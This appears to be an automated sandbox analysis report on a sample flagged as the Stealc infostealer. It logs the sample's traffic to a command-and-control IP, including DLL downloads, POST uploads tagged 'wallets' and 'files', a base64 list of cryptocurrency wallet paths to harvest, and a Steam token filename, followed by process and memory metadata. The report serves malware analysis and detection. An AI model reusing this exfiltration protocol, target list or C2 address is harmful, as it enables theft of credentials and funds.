Oct 1, 2024 07:51:15.904872894 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:15 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 1, 2024 07:51:16.274986029 CEST	90	OUT	GET /2a5dc88bed850cdd/nss3.dll HTTP/1.1 Host: 45.200.148.113 Cache-Control: no-cache
Oct 1, 2024 07:51:16.448571920 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:16 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 1, 2024 07:51:17.909533978 CEST	94	OUT	GET /2a5dc88bed850cdd/softokn3.dll HTTP/1.1 Host: 45.200.148.113 Cache-Control: no-cache
Oct 1, 2024 07:51:18.082672119 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:17 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 1, 2024 07:51:18.283915043 CEST	98	OUT	GET /2a5dc88bed850cdd/vcruntime140.dll HTTP/1.1 Host: 45.200.148.113 Cache-Control: no-cache
Oct 1, 2024 07:51:18.458477974 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:18 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 1, 2024 07:51:18.941998005 CEST	202	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAAEBKEGHJKEBFHJDB Host: 45.200.148.113 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 07:51:19.296046972 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 1, 2024 07:51:19.338701010 CEST	468	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIEC Host: 45.200.148.113 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 2d 2d 0d 0a Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="message"wallets------GIECFIEGDBKJKFIDHIEC--
Oct 1, 2024 07:51:19.515754938 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2408 Connection: keep-alive Vary: Accept-Encoding Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11 [TRUNCATED]
Oct 1, 2024 07:51:19.518773079 CEST	466	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHCGDAFCFHIDBGDHCFCB Host: 45.200.148.113 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 47 44 41 46 43 46 48 49 44 42 47 44 48 43 46 43 42 2d 2d 0d 0a Data Ascii: ------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------GHCGDAFCFHIDBGDHCFCBContent-Disposition: form-data; name="message"files------GHCGDAFCFHIDBGDHCFCB--
Oct 1, 2024 07:51:19.694736004 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 1, 2024 07:51:19.708225965 CEST	564	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKFCBFHJDHJKECAKEHI Host: 45.200.148.113 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAKFCBFHJDHJKECAKEHIContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------BAKFCBFHJDHJKECAKEHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAKFCBFHJDHJKECAKEHIContent-Disposition: form-data; name="file"------BAKFCBFHJDHJKECAKEHI--
Oct 1, 2024 07:51:19.897079945 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 1, 2024 07:51:19.988198042 CEST	204	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJ Host: 45.200.148.113 Content-Length: 113555 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 07:51:20.420046091 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 1, 2024 07:51:20.455832005 CEST	473	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBG Host: 45.200.148.113 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="message"ybncbhylepme------GDGIJECGDGCBKECAKFBG--
Oct 1, 2024 07:51:20.642750978 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 1, 2024 07:51:20.644275904 CEST	473	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIDAKJDHJKFHIEBFCGH Host: 45.200.148.113 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 43 47 48 2d 2d 0d 0a Data Ascii: ------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------IIIDAKJDHJKFHIEBFCGHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IIIDAKJDHJKFHIEBFCGH--
Oct 1, 2024 07:51:20.993875980 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Target ID:	0
Start time:	01:50:56
Start date:	01/10/2024
Path:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe"
Imagebase:	0x9b0000
File size:	14'201'936 bytes
MD5 hash:	3988D57BE5AF6FB461FEC4BBD0F747F3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1940177043.0000000003D18000.00000040.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1939639884.0000000001D51000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.7%
Total number of Nodes:	44
Total number of Limit Nodes:	1

Executed Functions

Function 00A6A4A8 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 736
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNEL32(00000000,-53D3AC81,-00000002725EB286), ref: 00A6A84B
RtlAllocateHeap.NTDLL(00000000,?,-0000000285FDB18E), ref: 00A6AC42

Strings

e&&, xrefs: 00A6AE7B
e&&, xrefs: 00A6A551

Memory Dump Source

Source File: 00000000.00000002.1937304666.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1937282332.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937425066.0000000000B4E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937465933.0000000000BA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937483094.0000000000BA5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937499092.0000000000BA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937515414.0000000000BAA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000BB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DCE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E1C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E65000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EA6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EB1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F22000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FC7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001005000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001007000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000109A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000111B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001127000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001160000.00000002.00000001.01000000.00000003.sdmpDownload File
